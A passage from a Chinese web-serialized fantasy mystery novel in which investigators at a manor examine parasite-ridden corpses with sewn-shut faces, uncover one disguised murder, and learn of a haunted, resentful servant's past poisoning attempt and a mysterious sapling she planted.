话音刚落,那人便朝着江洵等一行人微微施了一个礼数周全的揖礼。 在她抬起手的瞬间,众人注意到其皓腕之上佩戴着一串黑色的手串,那串手串与她白皙如雪的肌肤相互映衬之下,更显得她肤若凝脂。 栾华抬眸是发现坐在最左侧的江挽双目佩戴着白纱,虽并未过多询问,但依旧朝身旁的侍女悄声说道:“上决明茶。” 秦在锦看她坐定,才开口问道:“目前庄上具体的失踪及死亡人数,庄主可知一二?” 栾华取下手腕上那串黑褐色珠子,边把玩边回道:“失踪二十三人,死亡十一人。” 话落,她便用眼神示意一开始带几人过来的那位侍女去拿人员名册。 “她叫泱泱,这几日会一直陪着各位大人,若有事直接吩咐她即可。” 秦在锦点了点头,而后问道:“死因是否相同?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“无异,尸体目前存放在冰室,大人一会可以过去查看。” “这山庄是你的吗?”吃完糕点的冬苓突然开口问道。 江挽听到这丫头如此直白的问人这种话题,虽有些无奈地皱了下眉头,但也没有多说什么。 栾华停下了手中的动作,略带疑惑地看着冬苓,那副样子倒有些不怒自威的感觉。 “大人可是听到了些什么?只是不知这问题同这案子可有关系?”栾华直视冬苓的眼睛问道。 冬苓闻言耸了耸肩,“如果只是一人失踪,那有可能只是普通的案子。但如今整个山庄出现多人失踪且死法都相同的情况,那就不能将其定位普通的谋杀案。” “而且,这些人明面上都有一个共同点——都是这个庄子的人,那么便不能排除仇杀的可能。” 冬苓向栾华解释道,她能看出来,眼前的这位女子并不一般。 且不说年纪轻轻就能将偌大的山庄打理的井井有条,就单看这几日庄子上出了这么大的事儿,她却依旧能够从容不迫的主持大局,就足矣证明她不是那种柔柔弱弱的女子。 “庄子是我的,只是这庄子并不是由我出资买下的。” “谁买的?”冬苓追问。 “靖王。” 栾华轻启朱唇,缓缓地吐出那两个字时,语调平稳得如同静谧湖面,没有丝毫波澜起伏。 她那张清丽的面庞上更是不见半分得意之色或阿谀奉承之态,就好像口中所说的不过是个再普通不过的人名罢了。 她将目光投向冬苓,显然已洞悉对方心中的疑虑。 就在那人尚未开口追问之际,栾华紧接着又言道:“况且,靖王近半年来从未涉足此地。这种连江湖之人都能够探听到的消息,妄图谋害皇子的人又岂会不知?” 说到此处,栾华稍稍停顿了一下,似乎是在给冬苓留出一些思考的时间。 而后,她再次开口道:“如果他们当真是冲着靖王而来,根本没必要对这庄子里无辜的下人痛下杀手,直接取走我的项上人头岂不更为直截了当?” “毕竟,只有我死了才能引起靖王的注意。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第123章 墨浔莫寻 冬苓眼珠一转,觉得此人说的很有道理! 于是,立即赔笑道:“庄主所言极是,我也只是对传言有些好奇多问了两句,庄主莫怪。” “无妨。” 等侍女将山庄的名册拿来后,秦在锦接过后一页页翻看着。 而在江洵凑过去一并看的瞬间,栾华见状挑了下眉,因为这个角度的江洵像极了她认识的一位故人。 “公子叫什么名字?”栾华看着江洵问道。 江洵有些疑问的指了指自己。 谁??我??? “对。” “江洵。” 虽心有不解,但仍旧报上了自己的姓名。 “江洵......倒还真有些缘分。” “什么缘分?”江挽伸出右手的食指,轻柔而缓慢地一下接一下触碰着手中茶杯的杯壁。 只见栾华从容地端起面前的茶杯,轻抿一口香茗后,微笑着回答说:“在下有位姐姐,名为墨浔。说来也巧,这位小公子的面容与家姐颇有几分相似之处。” “哦?如此说来倒真是有趣。不知姐姐如今芳龄几何?”江挽饶有兴致地追问道。 栾华稍作思索,然后答道:“年方二十二。” 闻听此言,江挽心中不禁暗暗叹息一声,如果这女子年龄再大些,或许会和江洵的身世有所关联。 人姑娘这般年轻,实在不太可能……然而转念一想,不对啊! 栾华今年可不止二十二,可她却称呼一个比自己年幼之人作姐姐? 就在这时,冬苓突然开口问道:“敢问姐姐芳龄?” 只听得栾华不紧不慢地回应道:“二十有七。” “耶???您既然二十七岁,缘何称呼一个二十二岁的姑娘叫姐姐呢?” 冬苓瞪大双眼,满脸狐疑地盯着栾华。 栾华闻言,苦涩的笑了一声,“因为她生前是二十二岁,如今已经去世十七年了。” 十七年...... 而江洵今年刚好十七岁...... 江挽几乎没有任何犹豫的接话道:“那你可知,她生前是否婚配?” 栾华却摇了摇头,“没有婚配,亦不曾有过心上人。” 江洵清楚地知晓江挽为何未问这个问题。 然而,他也同样明白这个世上从来不存在如此巧合之事。 能够活下来,并且过上还算不错的生活,于他而言,已然算得上是一种莫大的幸运了。 至于寻找亲生父母这件事,他从未抱有过太多的奢望。 因为要在茫茫人海中寻觅自己毫无印象之人,其难度简直堪比海底捞针一般。 再者说,倘若他的父母当真深深地爱着他,又怎么可能狠心地将他遗弃? 即便是有着难以言说的苦衷,至少也应当留下只字片语的书信,亦或是某些足以证明其身份的物品。 可现实是什么都未曾留下。 这与他之前整整十四年的人生如出一辙,两手空空、一片空洞与虚无。 明明他才是那个理应获得安抚之人,可却出人意料地缓缓抬起手,轻柔地拍了拍江挽的手背。 “没事儿!得到的都是眷顾,现在的我万分幸福。” 尽管隔着那一层洁白如雪的面纱,无法清晰地瞧见江洵的面庞,但江挽知道,此时此刻,少年那深邃的眼眸之中,定然弥漫着一层朦胧的水雾。 “这不是有我在呢!咱们洵哥必须幸福!”秦在锦胳膊搭在江洵的肩膀上,得意的噘起了嘴。 “就是就是!还有我呢!”冬苓嚷嚷着凑了过去。 几个人东拉西扯地又闲聊了一会儿之后,秦在锦开口问道:“要不庄主带我们先去冰室看看那些尸体?” 七月份的天气,正是炎热的时候。 如果不把尸体放在冰室里,恐怕等不到任务人员过来,尸体就已经腐烂的不成样子了。 他的话音刚落,栾华便同意的点了点头。 她同泱泱走在最前面,而其余五个人则亦步亦趋地跟在她们身后。 走着走着,当他们路过一座小院儿时,瞧见一位年轻的姑娘正伫立在水井旁边,手中还提着一只木桶。 泱泱见到此景,连忙提高嗓门冲着那位姑娘呼喊了一句:“罗栎,中午做饭的时候记得多准备几份!” 不知道是因为距离太远还是其他什么原因,罗栎仿佛根本没有听见泱泱的话。 泱泱不禁感到有些恼火,于是再次提高声音大声叫道:“罗栎!我在跟你讲话呢,你没听到吗?” 也许是泱泱这次喊话的音量实在太大,以至于罗栎猛地一哆嗦,手一抖,木桶失去控制脱手而出。 水流了出来,将周围的地面弄湿了一片。 而罗栎本人更是被吓得不轻,身体不由自主地颤抖了几下。 只见她脸色惨白如纸,浓重的黑眼圈清晰可见,整个人看上去显得疲惫不堪、无精打采,显然是很长时间都没有好好休息过了。 泱泱不由得微微皱起眉头,满心疑惑地走上前去关切地询问道:“你怎么了?一副魂不守舍的模样,是不是身子不舒服?” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!罗栎回过神来,瞅了眼栾华后,又打量了一眼江洵几人,低声解释道:“庄上最近失踪的人太多了,我怕下一个就会是我,所以这几天才没休息好。” 栾华将信将疑的看着罗栎,她对这个姑娘有些印象。 在她还未住进山庄的时候,这姑娘就已经在这里生活了。 若是没记错的话,她似乎还有个丈夫,是负责外出采办的腾友时。 “不要操心还未发生的事儿,况且除祟的大人们已经来了,中午烧饭的时候记得多做几道菜。” 泱泱这话虽是安慰,但口吻却让人听起来像是命令。 罗栎低垂着头,嘟囔的回了一句:“知道了。” 就在那几个人转身离开之际,冬苓忽然间感到一股冰冷刺骨的寒意如潮水般从头顶涌下,让她不由自主地打了个寒颤,迅速回过头去张望。 令她毛骨悚然的是,她竟瞥见罗栎的身侧仿佛站立着一道男子的身影。 那身影若隐若现,宛如幽灵一般飘忽不定。 冬苓心中一惊,赶忙揉了揉自己的双眼,想要看得更清楚些。 可她再次定睛凝视时,那个身影如同烟雾一般消散得无影无踪,仿佛从未出现过。 大约又行走了一盏茶的工夫,终于辗转来到了山庄的冰室前。 栾华并未踏进冰室,只是轻声嘱咐泱泱带领江洵等人进去。 正当江挽准备进入冰室时,江洵眼疾手快地伸出手臂将其拦下,关切地说道:“师父,冰室内寒气逼人,您还是莫要进去了。” 江挽微微颔首,表示应允道:“也好。” 待冰室的大门缓缓合拢关闭之后,四周已然不见任何外人的踪迹。 此时,栾华方才缓缓开口言道:“你这位徒儿当真心思细腻啊。” 江洵则淡淡地回应道:“尚可。” 两人静静地伫立在阳光之下,此时的阳光颇为炽热,甚至有些灼人。 可她们却丝毫没有移步到阴凉之处的打算。 微风轻拂而过,悄然吹落了一片翠绿的树叶。 栾华伸出手掌,稳稳地接住了这片落叶,目光凝视着手中的叶片,随口问道:“沈公子近些日子以来是否一切安好?” “你问的哪位沈公子?” 栾华闻言,无奈地笑了一声,“自然是沈峥渡,怎么?你还认识别的沈公子?” “挺好。” “有消息称当年的那个任务当中,有暮商宗之人参与其中。” 栾华讲完这番话之后,从怀中掏出一张纸条,递到了江挽的面前。 这张纸条的背面精心绘制着一幅活灵活现、娇艳欲滴的夹竹桃图案,仿佛随时都会迎风舞动。 栾华忽然又意识到什么,那刚伸出去的手立马收了回来,略带歉意地说道:“真是抱歉,忘了你如今看不见东西。” 可她说完这句话,心中又涌起一丝疑虑。 她发现,江挽对于这个消息居然没有任何的惊讶和疑虑,明明以往她都会多追问几句。 “莫非……你早就知晓此事了不成?” 又有几片落叶悠悠荡荡地飘落下来,眼看着其中一片就要落在江挽那略显单薄的肩头之上时,那人微微侧身躲过了。 紧接着,她平静地回道:“嗯。” 栾华闻言,眉头微微一蹙,“哪得来的消息?居然比我还快,别是在花朝楼买的吧?” “关于这个任务的任何消息,就算你敢买,花朝楼也不敢卖。” 栾华略作沉思,压低声音凑近江挽耳边,小声说道:“暮商宗早些年安插了一枚暗棋,需要的话,你尽可拿去用。” “不急,有人比我先动手,目前需要解决的是许青临。” “此题无解!”秦在锦看着眼前的尸体说道。 江洵询问秦在锦是否有取出蛊虫的方法,然而得到的却是秦在锦毫不犹豫的否定回答。 要知道,先不提这蛊虫如今已然死去,即便是它活着的时候,想要将其完好无损地取出来也是难如登天之事。 毕竟根本无法确切地判定出蛊虫所处的具体位置。 倘若能有一个精通蛊术之人相助,那就再好不过了。 不过现在去学还来得及吗? 就在这俩人面面相觑之时,一直沉默不语的傅霖突然发声道:“这具尸体有些可疑。” 说罢,他目不转睛地紧盯着眼前的尸体。 乍一看上去,这具尸体的五官与其他几具并无二致,皆被细密的针线缝合起来。 但只要稍稍靠近并细致观察一番,便能发现其中端倪——这具尸体上的针线针脚明显要比其余几具来得更为整齐。 由此可以推断出,此人很可能是在丧失意识甚至是死亡以后才被缝补成这般模样的。 然而,再看其他那些尸体,它们身上的针脚显得极为杂乱无章、毫无形态可言。 仿佛施针之人只求能把五官缝合起来便罢,对于美观与否毫不在乎,更不会在意那人是否会感到疼痛。 秦在锦听到这里,心中一动,赶忙凑近前去查看。 这章没有结束,请点击下一页继续阅读!随后,他小心翼翼地掀起了那个人的衣物,果然发现了一些问题。 这具尸体生前并未遭受过蛊虫的啃噬! 他紧接着又将这人里里外外地检查了一遍。 他发现此人生前头部曾经受到过极其严重的重创,可以说是一击之下当场致命。 并且,从伤势的特征来推断,造成这般伤害的凶器很有可能就是诸如锤子一类的钝器。 想来定是有人企图掩盖自己杀人行凶的真相,于是故意将死者的五官用针线缝合起来,试图营造出一种受害者是在失踪之后惨遭他人毒手的假象。 只可惜,那个行凶者未曾做好充分的调查,他不知道其余几具尸体衣服下的身体是什么样子。 “这两日庄里还有失踪的人吗?”江洵问道。 泱泱想了一下,回道:“有三人至今未查到下落。” “那他们大概都是什么时候失踪的?可有询问过身边人最后一次见到他们的时间是何时么?” “时间不一。” 有人说晚上睡觉之前还在房间,可一觉睡醒以后人就不在了,起初还以为只是早早起床去干活了。 但是也有人说是他们是晚上起夜的时候出去的,至于回没回来,没有仔细留意过。 不过那些在田间和果园忙活的人说,明明只是回去喝杯水,等再回来的时候人就不见了。 “这段时间可有......” 在江洵还想细问些什么的时候,冬苓打了个喷嚏,“那啥?咱能出去问么?这地儿怪冷的,反正这尸体咱们都已经看过了。” 冬苓说完这句话,还不忘吸了吸鼻子。 早知道就跟江挽一起在外面站着等了,真是没事儿给自己找罪受。 “行吧,先出去。”江洵做了个请的手势,让泱泱和冬苓二位先走。 在听到冰室里传来越来越近地脚步声以后,院子里晒太阳的二人才转移了话题。 冬苓赶紧站到太阳下面晒暖,对着身前的江挽撒娇道:“得亏姐姐没有进去,里面冻死人了。” 江挽闻言无奈的笑了一声,随即伸出了双手,示意冬苓把手给她。 冬苓见状,双眼一亮,笑嘻嘻的把手递了过去。 眼前人的双手并不宽厚,甚至过于纤细,但对冬苓来说却又格外的温暖,是她想要的温度。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第124章 我在看你 “可有什么发现?”江挽一脸凝重地开口问道。 只见江洵点了点头,然后沉声道:“尸体和我们昨日在客栈遇见的情况如出一辙,皆被人种下了食人蛊,而且他们的五官同样被人用细密的针线紧紧缝住!不过……” 话到此处,江洵突然止住话语,并将目光投向了江挽身旁的栾华。 栾华自然明白江洵此刻欲言又止定是事出有因、别有深意,于是微微颔首,表示让他无需顾虑,尽管直言相告即可。 得到应允之后,江洵这才接着说道:“其中有一具尸体并非丧命于食人蛊之毒,而是被他人残忍杀害所致。” 听闻此言,栾华面色微变,赶忙追问道:“谁?” 一旁的泱泱皱起眉头,回忆着那具尸体主人生前的模样,稍作思索后,缓缓吐出三个字来:“腾友时。” 听到这个名字,栾华皱起了眉头。 腾友时是罗栎的丈夫。 怪不得今日见到罗栎总是一副心不在焉的样子,想来或许是因为心爱之人死于非命。 只是不知,她是否清楚自己丈夫的死其实另有隐情? “还有重要的一点,目前为止,我们并不知道这种蛊虫究竟源自何处。因此,近两日最为妥当的做法便是禁止庄内众人随意外出活动。”秦在锦面色凝重地说道。 傅霖听闻此言后,不禁皱起眉头反驳道:“可是如果此蛊虫乃是由外界传入,即便我们限制人员外出,它依旧能够想方设法侵入庄内!” 他的话语不无道理,毕竟庄子里发现的那些尸体与之前客栈中的尸体简直如出一辙,由此可见,这蛊虫的危害范围极有可能已经波及到周边地区的百姓。 此时此刻,当务之急无疑是尽快查明蛊虫的真正来源所在。 经过一番商量,几人认为直接前往庄子后面的鸣蜩山调查一番是当下最佳的选择。 “即刻动身吧,至于这里,可以先布置一道结界。” 江挽一边说着,一边唤出了自己的匕首——星回。 其实单从外观来看,星回丝毫不像普通的匕首,反而更像是一把折断的宝剑。 只听得“咻”的一声响,星回便如闪电般迅速地飞身而起,直冲向半空之中。 与此同时,一股耀眼夺目的光芒开始源源不断地从它的周身向外扩散开来,并以极快的速度逐渐蔓延,最终将整个山庄都完全笼罩在了其中。 看着眼前这道结界,江洵不禁心中一动。 因为这结界与之前在深塘坞之时,沈亦行所布设的那一个极为相似。 现在回想起来,江挽和沈亦行他们两人之间确实存在不少相似之处。 不论是在蕴灵之时所散发出来的那种至纯至净的灵力波动,还是在布下结界之际所使用的口诀以及施法手势等。 只不过,这些也都是江洵的个人猜测罢了。 就在这时,栾华开口挽留众人道:“诸位要不先在这里用过饭后再动身离开吧。” 反正左右也就相差半个时辰左右的功夫,况且眼看着这会儿已经到饭点儿了。 如果让任务员饿着肚子去追查线索的话,总归不太好。 栾华的话音刚落,冬苓立刻兴奋地拍手叫好:“好呀!!!可以吃饭喽!” 其余几人见状,便纷纷跟随着栾华朝着偏厅走去。 当他们来到偏厅时,这里早已经备好了一桌饭菜。 只见罗栎静静地站立于桌子一侧,相较于其他侍女,她的面容明显透露出更多的紧张情绪。 栾华进屋后见她就在此处,心中暗喜,如此一来倒是省去了寻人的时间。 于是,栾华挥挥手示意道:“除了罗栎,其余人暂且先行退下吧。” 待得众侍女鱼贯而出之后,罗栎面露疑惑之色,轻声开口询问道:“庄主,您可是有何事要吩咐?” 栾华并未直接回答,而是自顾自地夹起一筷菜肴送入口中,漫不经心地问道:“你是否知晓腾友时究竟为何而亡?” 听到这个问题,罗栎稍稍抬起头来,目光与栾华交汇一瞬后又迅速垂下,答道:“我并不清楚,只知道与其他人的死状无异。” 她脸上的神情看起来丝毫不像在故意隐瞒或者撒谎造假。 这时,冬苓突然插话道:“那么请问其他人又是怎样的死状呢?” 罗栎连忙回应道:“他们皆是五官被针线缝合起来……” 话未说完,就被冬苓打断:“仅仅是五官被缝住罢了,并不能成为致命之因!我们问的是死、因!” 说至此处,冬苓手中的筷子一下又一下地敲击着身前精致的瓷碗,清脆的声响在寂静的房间里显得格外突兀。 “不知……”罗栎面露难色,话语欲言又止。 傅霖忽然插话道:“腾友时可曾与庄上其他人结仇?” 他紧紧盯着罗栎,目光锐利如鹰。 然而,面对傅霖的质问,罗栎只是轻轻摇了摇头,低声说道:“不知……”声音细若蚊蝇,仿佛随时都会消散在空中一般。 这章没有结束,请点击下一页继续阅读!傅霖见状,眉头微微一皱,“啧”了一声,显然对罗栎的回答感到十分不满。 他有些不耐烦地说:“你丈夫都死了,你竟然还一问三不知?那你到底都知道些什么啊?难道你对你丈夫平日里的行踪和所接触之人一无所知吗?” 听到这话,罗栎不禁浑身一颤,眼眶瞬间泛红。 她咬着嘴唇,努力不让泪水滑落下来,但声音却不由自主地颤抖起来:“可我真的什么都不知道啊!!!” 说到最后,她的情绪愈发激动,音量也陡然拔高,带着些许哭腔。 “那你知道腾友时一直都在你的身旁么?” 冬苓说这话的时候缓缓抬起眼眸,眼神如同寒星般冰冷,直直地望向罗栎的身后。 听到这话的罗栎仿佛遭受了晴天霹雳一般,整个人瞬间僵在了原地,心脏狂跳不止,一股寒意从脚底直冲脑门,令她浑身战栗不已。 她瞪大了眼睛,脸色苍白如纸,嘴唇微微颤抖着,想要说话却发现喉咙像是被什么东西堵住了一样,发不出半点声音来。 自从腾友时去世的那天起,这种莫名的恐惧便如同幽灵般缠上了罗栎。 她总是感觉身体里似乎钻进了一股冷风,无时无刻不在侵蚀着她的温暖。 尽管外面阳光明媚,天气并不寒冷,尤其是在夜深人静的时候,那种冰冷的感觉更是愈发强烈。 不仅如此,最近这几天,罗栎频繁地做起噩梦。 每次在梦中,腾友时都会满脸痛苦地出现在她面前,嘴里不停地念叨着:“我好疼啊……” 那凄惨的模样让罗栎毛骨悚然,每每从噩梦中惊醒,她都是冷汗淋漓,心跳久久无法平复。 而就在昨晚,当罗栎像往常一样准备关上窗户睡觉时,诡异的事情发生了。 就在她转身走向床边的时候,原本好好燃烧着的蜡烛突然间毫无征兆地熄灭了。 整个房间顿时陷入一片黑暗之中,只有窗外微弱的月光透过窗帘洒下一丝黯淡的光芒。 罗栎惊恐万分,她清楚地记得自己已经把房间的门窗都紧紧合上了,不可能有风能够吹进来。 然而此刻,那蜡烛却莫名其妙地熄灭了。 她深吸一口气,颤抖着伸出手试图重新点燃蜡烛。 可是,当她刚刚点亮蜡烛,还没来得及迈出脚步,那火苗竟然再次熄灭了! 罗栎彻底被吓坏了。 她再也不敢去触碰那根可怕的蜡烛,而是惊慌失措地逃回床上,用被子将自己从头到脚严严实实地包裹起来。 可即使她把自己裹得像个粽子似的,那床被子依然冰凉彻骨,丝毫感受不到半点暖意。 不知为何,她总有一种强烈的直觉——自己身旁似乎还躺着另外一个人! 这种感觉异常真实,仿佛触手可及一般。 但是内心深处的恐惧却让她丝毫不敢轻举妄动,甚至连半分动弹都不敢有。 她害怕极了,生怕只要稍稍一偏头,就会与腾友时那张令人毛骨悚然、阴森恐怖的脸庞对视上。 就这样,她在极度的惊恐和不安中,迷迷糊糊地睡去。 没过多久,一阵突如其来的惊悚感猛地将她从睡梦中惊醒。 尽管紧闭着双眼,但她能够清晰地感觉到,房间里有一双眼睛正紧紧地盯着自己。 那目光犹如寒夜里的冷风,直直地穿透她的身体。 恐惧如潮水般涌上心头,她拼命想要保持镇定,继续闭紧双眼装睡。 可是,人类与生俱来的好奇心如同一只无形的手,不断拉扯着她的神经。 终于,经过一番激烈的思想斗争后,好奇心战胜了内心的恐惧。 她小心翼翼地伸出颤抖的手,缓缓扯下被子的一角,然后鼓起勇气微微探出头去。 就在这一瞬间,她的心跳几乎停滞——只见床边赫然坐着那个早已死去的腾友时! 他的身影在昏暗的光线中显得格外诡异,尤其是那张脸,五官全都被针线细密地缝合起来,看上去扭曲而狰狞。 尽管如此,罗栎还是一眼就认出了这个人就是腾友时。 她感觉对方那双被封住的眼睛,正透过缝隙,死死地盯着自己。 罗栎完全无法判断自己究竟是因为过度惊吓以至于说不出话来,还是冥冥之中觉得自己的嘴巴也像腾友时那样被缝得严严实实。 总之,任凭她如何努力,愣是发不出哪怕一丝一毫的声音。 好不容易熬到第二天清晨,阳光透过窗户洒进屋内,带来了些许温暖和光明。 罗栎强打起精神,迅速起身开始收拾房间。 她把有关腾友时的所有东西一件不落地整理出来,无论是衣物、还是其他物品,统统装了起来。 接着,她趁着周围没有人注意的时候,悄悄地拎着这些袋子走出庄子,将它们丢弃在了一个偏僻无人的角落。 做完这一切后,罗栎才长长地舒了一口气。 然而,这种轻松愉悦的感受并未能够长久维持下去。 正当她弯腰准备从水井中打水时,那股令人毛骨悚然、如芒在背的被监视感再度悄然袭来。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!刹那间,她脑海里不由自主地浮现出一个可怕的念头——那个阴魂不散的腾友时或许此刻就潜藏于井底深处,正透过井水窥视着她! 想到此处,她不禁浑身一颤,双手颤抖得几乎握不住水桶把手。 而当她好不容易将水提起来时,却赫然感觉到桶中的液体并非清澈透明的井水,反倒像是腾友时被缝住五官的头颅! 一瞬间,恐惧彻底占据了她的心房,让她呼吸急促、心跳加速。 尽管这种状态已经严重影响了她的生活,但有关腾友时的事儿她丝毫没有向旁人吐露半句。 近一个月来,整个山庄早已陷入一片人心惶惶之中。 倘若此时她再宣称自己撞见了鬼魂,无疑会令原本就动荡不安的局面变得更加混乱不堪。 可“纸终究包不住火”,尽管她自认为已经做得天衣无缝、毫无破绽,但不知为何还是被这几人察觉到了端倪。 难道真的是冥冥之中自有天意吗? 还是说这世上就是有因果报应呢? 不……等等,仔细回想一下刚才那几个人对她的询问,似乎重点仅仅在于她是否知晓腾友时的死因,而非质问她为何要杀害腾友时。 如此说来,情况也许并没有想象中那么糟糕。 况且,虽然这段时间腾友时总是神出鬼没的就缠着她,但说到底,并未对她造成实质性的伤害。 这么一想,她稍微定下心来。 “我知道,但是我能有什么办法呢?难不成我还能问他是怎么死的不成?” 罗栎说这话的时候,双眼含着泪,装作一副无辜的样子。 “这么说你也知道腾友时死得冤枉。”冬苓略带打量的目光看着罗栎。 装!! 继续装!!! 看你能装到何时!!! “我只知道他的魂魄一直在我身侧,至于死得冤不冤,我并不知晓。” “哦?”这么说,你还成了受害者了?”傅霖意味深长的插话。 “当然!他虽然是我丈夫,可他已经死了!死去的人就该重新投胎,重新开始生活,干嘛还心生贪念的留在这人世间呢?” “再说了!这山庄这些日子以来,接连死了那么多人,要是都像他这般迟迟不走,那这庄子日后还住不住人了?” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第125章 棋差一步 江洵用筷子夹起一块鲜嫩且无刺的鱼肉,轻轻地将其放置在了江挽面前的小碗之中。 随后,他缓缓抬起头来,那双深邃而明亮的眼眸直直地凝视着罗栎,轻声问道:“你为何会如此惧怕自己的丈夫呢?” 罗栎微微一怔,紧接着毫不犹豫地反问回去:“一个早已离世之人,却仍日日夜夜如影随形般跟随在我的身旁,难道这还不值得让人感到恐惧吗?” 江洵闻言,不禁挑了挑眉,追问道:“可他毕竟是你的夫君啊!你如此惊恐,到底是因为心中有鬼、有所心虚,还是根本就未曾对他动过真情呢?” “公子,不是每个人都有胆量跟鬼同床共枕。” 这时,一直沉默不语的江挽突然噗嗤一声笑了出来。 只见她嘴角微扬,带着一丝淡淡的嘲讽说道:“若是真的在意,哪怕是在梦中短暂的相见,都已是幸事,更不用说还能夜夜相伴了。” 江挽这番话虽然没有明言,但其中暗含之意却是再明显不过——她认为罗栎并不喜爱腾友时,甚至有可能腾友时的死亡与她脱不开关系。 罗栎自然也听出了江挽话语中的弦外之音,她的脸色瞬间变得阴沉起来,双眉紧紧地皱在一起,急忙开口为自己辩解道:“我和他之间本来就只是凑合着一起过日子而已,彼此之间并没有什么深厚的感情可言。” “所以谈论是否喜欢这个问题实在是有些多余。至于他死后我们是否还有机会再次相见,说实话,我一点儿都不在乎。” 话音刚落,她便转过头去,用略带愤恨的目光瞪向了此刻正端坐在主位之上的栾华。 原本,她完全能够过上更优渥的生活,明明距离那令人向往的生活仅差一步之遥。 可就是因为这个女人的出现,将这一切都毁得彻彻底底! 若不是她横插一脚,自己又怎会在如此青春年少之时,仍旧只能待在此处充当一个烧火做饭的下人? 想当初,在栾华尚未来到这庄子的时候,这里的确是靖王暗自置办的私产,而靖王亦是时常亲临此地小住数日。 那时的她,可是这庄子之中最为出类拔萃的侍女,每当靖王来了以后,必然会指名道姓地要求由她来侍奉左右。 不仅如此,靖王对她亲手所制的糕点更是赞不绝口,甚至夸赞其美味程度远超宫廷御膳房中的佳肴。 曾经的她满心欢喜地憧憬着以后,天真地认为自己终有一日能被靖王带去上京城的王府居住。 靖王曾亲口向她许诺,只要上京城里的诸事皆安顿妥当,他定会携她回到王府。 然而,所有美好的幻想与期待,却都在栾华到来之后发生了变化。 只因那日栾华提及她厨艺精湛,靖王为了取悦于她,竟毫不犹豫地大手一挥,让她自此以后终生留在这山庄之中,专为栾华充当一名厨子。 其实,她从未奢望过自己能够一步登天,她有自知之明,更深知其中的差距犹如云泥之别。 只是如今这般境遇,实在令她感到无比的委屈与不甘…… 上京城对于生活在这穷乡僻壤之地的她而言,简直就是遥不可及的地方。 她曾无数次幻想过,只要走出这座困住她的庄子,就能迎来荣华富贵的生活。 然而,命运却无情地捉弄了她,只因栾华简简单单的一句话,便将她后半辈子的希望彻底粉碎。 她心中充满了怨恨和不甘,却又无力改变现状。 绝望之下,她竟然想到了一个恶毒的主意——在栾华的饭菜中下毒! 于是,她每日都亲眼看着栾华将那些有毒的饭菜一口口地送进嘴里。 时间一天天过去,整整一个月过去了,栾华不仅毫发无损,而且气色还越来越好,仿佛毒药对她毫无作用一般。 渐渐地,仇恨与嫉妒交织在一起,让她失去了理智。 既然无法直接伤害到栾华,她决定从其他方面入手。 她开始刻意模仿栾华的一言一行,甚至连穿衣打扮也不放过。 但栾华所穿的衣物皆是用上等布料制成,头上插着的珠钗更是价值不菲的一等好物。 而她每月所得的微薄俸禄少得可怜,要想购置这些昂贵的首饰,她不得不省吃俭用,积攒好几个月才勉强能买下一支栾华头上佩戴的玉簪子。 曾经有一回,靖王来到山庄,不经意间瞥见了她头上所佩戴的簪子,还夸赞其好看来着。 那一刻,她内心深处涌起一股难以言喻的喜悦与满足感。 如今看来,自己这番精心装扮总算没有白费功夫,靖王的目光再度为自己短暂停留。 不知为何,自那次之后,靖王便逐渐减少了前来山庄的次数。 时光悄然流逝,岁月无情地在她身上留下痕迹,她已不复当年青春年少时的模样。 就在她以为生活将会如此平淡无奇地继续下去之时,一个名叫腾友时的男子出现在了她的生命之中。 某一天,腾友时满怀诚意地对她说:“我愿将自己毕生积攒下来的全部钱财予你,愿意为你购置华美的衣裙以及璀璨的首饰。” 这章没有结束,请点击下一页继续阅读!面对如此慷慨的话语,她几乎未加思索便欣然应允。 毕竟,这笔意外之财犹如从天而降的馅饼,不收岂不可惜? 就这样,日子一天天过去。 直至上个月的某天,一个戴着面具之人找到她。 此人开门见山地表示,倘若她能把他手中的树苗悄悄栽种至院子当中,事成之后,将会给予她一笔极为丰厚的酬劳。 那笔财富数额之大,足以确保她往后余生无需再为衣食住行等琐事烦忧。 起初,她对于这棵树苗的来历心生疑虑,隐约察觉到它绝非仅仅只是一棵普通的树苗这般简单。 可是,转念一想,既然有如此诱人的回报摆在眼前,即便其中隐藏着某些未知的风险或秘密,又何妨一试呢? 再说了,等尾款到手,她就离开这座庄子了。 届时,至于庄子上其他人是死是活,又与她何干? 于是,她当晚趁着没有人留意她的时候,将那棵树苗与其他的新进的果树栽种到一起。 起初的半个月里,并没有任何的事情发生。 可这个月初,就断断续续地传出了山庄里有人失踪的事情。 她虽然有些心虚,但细细想来,一棵树难不成还能成精了将人绑起来带走? 而且这无论怎么算,到头来都算不到自己头上来。 但是,不出几日,她发现周围不仅有人失踪,还在院门口出现了几具尸体,死状皆十分恐怖。 当天晚上,腾友时紧皱着眉头,目光如炬地上下打量着面前的她。 那种眼神仿佛要穿透她一般,令她浑身不自在,心中涌起一股难以言喻的厌恶感。 这个男人,除了偶尔施舍给她一些钱财之外,简直一无是处! 他究竟有何资格用这样居高临下、充满怀疑和审视的目光来看待她? 难道他还真把自己当盘菜了? 此时的罗栎正端坐在椅子上,满脸怒容,没好气儿地冲着腾友时喊道:“有什么话你就痛快点说出来,少用这种眼神看着我!” 听到罗栎不耐烦的催促,腾友时犹豫了一下,但最终还是压低声音问道:“他们的死……与你有没有关系?” 罗栎闻言先是一愣,随即发出一阵刺耳的冷笑声:“哈哈,真是可笑至极!我不过是一介弱女子罢了,既没有三头六臂,也没有通天神力去制服那些身强力壮的大老爷们儿。” 然而,腾友时并没有被罗栎的话语所动摇,他紧接着说道:“那天晚上我亲眼看到你前往果园栽种了一棵树,可今天当我再次去到果园的时候,那棵树已经不在了。” 面对腾友时的质疑,罗栎的脸色变得愈发阴沉。 她猛地站起身来,指着腾友时的鼻子怒斥道:“所以呢?照你的意思,难不成是那棵树成精杀了人?亦或是我暗中指使那棵树去行凶作案了?如此荒谬的言论,就算你说出去,又会有谁相信你这番鬼话?” 罗栎说话间眼底闪过一丝嘲讽,随即抬起右手将鬓间的发丝拢到耳后。 腾友时顿时被这句话问的有些手足无措,毕竟他没有实质性的证据能够证明那些人的死同罗栎有关。 可当他看到罗栎手腕上的翡翠镯子时,露出了疑惑的表情。 据他所知,罗栎之前是没有这个镯子的,而且这个月的俸禄还没有发,她哪儿来的钱买这么贵的镯子? 